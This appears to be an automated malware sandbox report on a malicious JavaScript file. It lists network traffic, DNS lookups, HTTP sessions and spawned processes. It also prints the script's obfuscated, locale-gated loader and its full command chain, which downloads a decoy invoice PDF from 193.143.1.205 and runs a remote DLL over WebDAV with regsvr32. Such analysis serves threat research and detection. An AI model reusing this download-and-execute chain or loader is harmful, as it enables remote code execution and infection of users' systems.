Jan 10, 2025 18:21:43.579291105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579305887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579317093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579328060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579334021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579339027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579344988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579392910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.579421043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579426050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579432964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579441071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579447031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579453945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579473972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.579494953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579499006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.579507113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579513073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.579529047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.579560041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.601238012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601243019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601248980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601260900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601265907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601273060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601310968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601316929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601321936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601331949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601341009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.601382017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601386070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.601394892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601401091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601412058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.601444960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.604212046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.604218960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.604440928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.958264112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.965920925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:44.282404900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:44.680445910 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:44.686201096 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:44.686290979 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:44.686491966 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:44.691605091 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:45.509433031 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:45.557362080 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:47.087133884 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:23:23.607819080 CET	63365	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:23:23.612703085 CET	53	63365	1.1.1.1	192.168.2.6
Jan 10, 2025 18:23:23.612802982 CET	63365	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:23:23.612852097 CET	63365	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:23:23.617619991 CET	53	63365	1.1.1.1	192.168.2.6
Jan 10, 2025 18:23:24.057109118 CET	53	63365	1.1.1.1	192.168.2.6
Jan 10, 2025 18:23:24.098860979 CET	63365	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:23:24.108633995 CET	63365	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:23:24.113688946 CET	53	63365	1.1.1.1	192.168.2.6
Jan 10, 2025 18:23:24.117480040 CET	63365	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:21:52.072704077 CET	55524	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:23:23.607206106 CET	53	59485	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:21:52.072704077 CET	192.168.2.6	1.1.1.1	0x17ff	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:21:52.080527067 CET	1.1.1.1	192.168.2.6	0x17ff	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:21:52.791174889 CET	1.1.1.1	192.168.2.6	0xcd46	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:21:52.791174889 CET	1.1.1.1	192.168.2.6	0xcd46	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	3608	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:21:42.014624119 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:21:42.826380968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:21:42 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:21:42.826410055 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:21:42.826423883 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:21:42.826438904 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:21:42.826451063 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 18:21:42.826462030 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 18:21:42.826491117 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 18:21:42.826502085 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 18:21:42.826514006 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 18:21:42.826533079 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 18:21:42.881859064 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	3916	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:21:44.686491966 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:21:45.509433031 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:21:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:21:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1917827975246096126.js"
Imagebase:	0x7ff6840c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:21:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll
Imagebase:	0x7ff63dbb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:21:38
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:21:38
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:21:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:21:43
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff63dbb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:21:43
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cf850000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:21:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:21:44
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:21:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1552,i,16176091813262955054,800977564278276916,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hxmasyt() {	hxmasyt() ➔ undefined
1	ktvzci = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var clgoodohw = this[bibdg + lqktv + wgida + jcjdh + ohuvrsy + jjgkj + hejfdmsnu + xnhmfu] ( this[woptblmbr + mwymi + bwytzyfkj + wgida + edvmvun + bibdg + xnhmfu][ssygg + wgida + ohuvrsy + lqktv + xnhmfu + ohuvrsy + qcaxclw + rcepk + rzvsrmpi + ohuvrsy + bwytzyfkj + xnhmfu] ( woptblmbr + mwymi + bwytzyfkj + wgida + edvmvun + bibdg + xnhmfu + jvcba + mwymi + iiljelu + ohuvrsy + mqolf + mqolf ) [rdhby + ohuvrsy + tvavktw + rdhby + ohuvrsy + lqktv + fnaew] ( cdyba + kbikt + oyipk + lslujfr + sallzzenk + ssygg + axhnutp + rdhby + rdhby + oyipk + ufdfou + zwizdpq + sallzzenk + axhnutp + mwymi + oyipk + rdhby + exfcqdb + ssygg + tnyeli + hejfdmsnu + xnhmfu + wgida + tnyeli + mqolf + fmzavut + atbxt + lqktv + hejfdmsnu + ohuvrsy + mqolf + exfcqdb + jjgkj + hejfdmsnu + xnhmfu + ohuvrsy + wgida + hejfdmsnu + lqktv + xnhmfu + edvmvun + tnyeli + hejfdmsnu + lqktv + mqolf + exfcqdb + mrnabxg + tnyeli + bwytzyfkj + lqktv + mqolf + ohuvrsy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jtegqfzam = 0 ; jtegqfzam < ktvzci[mqolf + ohuvrsy + hejfdmsnu + tvavktw + xnhmfu + iiljelu] ; ++ jtegqfzam )
4	{
5	if ( clgoodohw == ktvzci[jtegqfzam] )
6	{
7	clgoodohw = true;
8	break ;
9	}
10	}
11	if ( clgoodohw !== true )
12	this[woptblmbr + mwymi + bwytzyfkj + wgida + edvmvun + bibdg + xnhmfu][olbsxivs + amryati + edvmvun + xnhmfu] ( );
13	this[woptblmbr + mwymi + bwytzyfkj + wgida + edvmvun + bibdg + xnhmfu][ssygg + wgida + ohuvrsy + lqktv + xnhmfu + ohuvrsy + qcaxclw + rcepk + rzvsrmpi + ohuvrsy + bwytzyfkj + xnhmfu] ( woptblmbr + mwymi + bwytzyfkj + wgida + edvmvun + bibdg + xnhmfu + jvcba + mwymi + iiljelu + ohuvrsy + mqolf + mqolf ) [wgida + amryati + hejfdmsnu] ( bwytzyfkj + phmtguo + fnaew + fmzavut + zzcqpp + bwytzyfkj + fmzavut + bibdg + tnyeli + jslcjvo + ohuvrsy + wgida + jcjdh + iiljelu + ohuvrsy + mqolf + mqolf + jvcba + ohuvrsy + ttsduor + ohuvrsy + fmzavut + jgznnjb + ssygg + tnyeli + phmtguo + phmtguo + lqktv + hejfdmsnu + fnaew + fmzavut + ifecf + jjgkj + hejfdmsnu + hehiylv + tnyeli + rdflafc + ohuvrsy + jgznnjb + woptblmbr + ohuvrsy + rcepk + rdhby + ohuvrsy + gvitgz + amryati + ohuvrsy + jcjdh + xnhmfu + fmzavut + jgznnjb + qcaxclw + amryati + xnhmfu + bmipqeev + edvmvun + mqolf + ohuvrsy + fmzavut + woubjqoex + xnhmfu + ohuvrsy + phmtguo + bibdg + woubjqoex + exfcqdb + edvmvun + hejfdmsnu + hehiylv + tnyeli + edvmvun + bwytzyfkj + ohuvrsy + jvcba + bibdg + fnaew + ctuxam + fmzavut + iiljelu + xnhmfu + xnhmfu + bibdg + wtbowoppm + zzcqpp + zzcqpp + hudezd + rshbcxeb + oipobtt + jvcba + hudezd + aoifdazwj + oipobtt + jvcba + hudezd + jvcba + xuuopxmay + devhyqju + okpkn + zzcqpp + edvmvun + hejfdmsnu + hehiylv + tnyeli + edvmvun + bwytzyfkj + ohuvrsy + jvcba + bibdg + iiljelu + bibdg + ifecf + wuwdz + wuwdz + jcjdh + xnhmfu + lqktv + wgida + xnhmfu + fmzavut + woubjqoex + xnhmfu + ohuvrsy + phmtguo + bibdg + woubjqoex + exfcqdb + edvmvun + hejfdmsnu + hehiylv + tnyeli + edvmvun + bwytzyfkj + ohuvrsy + jvcba + bibdg + fnaew + ctuxam + wuwdz + wuwdz + bwytzyfkj + phmtguo + fnaew + fmzavut + zzcqpp + bwytzyfkj + fmzavut + hejfdmsnu + ohuvrsy + xnhmfu + fmzavut + amryati + jcjdh + ohuvrsy + fmzavut + exfcqdb + exfcqdb + hudezd + rshbcxeb + oipobtt + jvcba + hudezd + aoifdazwj + oipobtt + jvcba + hudezd + jvcba + xuuopxmay + devhyqju + okpkn + htzvbyl + tqbtfvq + tqbtfvq + tqbtfvq + tqbtfvq + exfcqdb + fnaew + lqktv + hehiylv + jslcjvo + jslcjvo + jslcjvo + wgida + tnyeli + tnyeli + xnhmfu + exfcqdb + wuwdz + wuwdz + bwytzyfkj + phmtguo + fnaew + fmzavut + zzcqpp + bwytzyfkj + fmzavut + wgida + ohuvrsy + tvavktw + jcjdh + hehiylv + wgida + oipobtt + xuuopxmay + fmzavut + zzcqpp + jcjdh + fmzavut + exfcqdb + exfcqdb + hudezd + rshbcxeb + oipobtt + jvcba + hudezd + aoifdazwj + oipobtt + jvcba + hudezd + jvcba + xuuopxmay + devhyqju + okpkn + htzvbyl + tqbtfvq + tqbtfvq + tqbtfvq + tqbtfvq + exfcqdb + fnaew + lqktv + hehiylv + jslcjvo + jslcjvo + jslcjvo + wgida + tnyeli + tnyeli + xnhmfu + exfcqdb + hudezd + aoifdazwj + okpkn + lgtysrxpo + devhyqju + hudezd + okpkn + devhyqju + oipobtt + rshbcxeb + hudezd + hudezd + hudezd + xuuopxmay + oipobtt + jvcba + fnaew + mqolf + mqolf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145701503911123.dll",0,false) ➔ 0
14	}
15	sallzzenk = "w";
16	sallzzenk = "P";
17	sallzzenk = "A";
18	sallzzenk = "N";
19	sallzzenk = "M";
20	sallzzenk = "n";
21	sallzzenk = "C";
22	sallzzenk = "M";
23	sallzzenk = "T";
24	sallzzenk = "g";
25	sallzzenk = "Q";
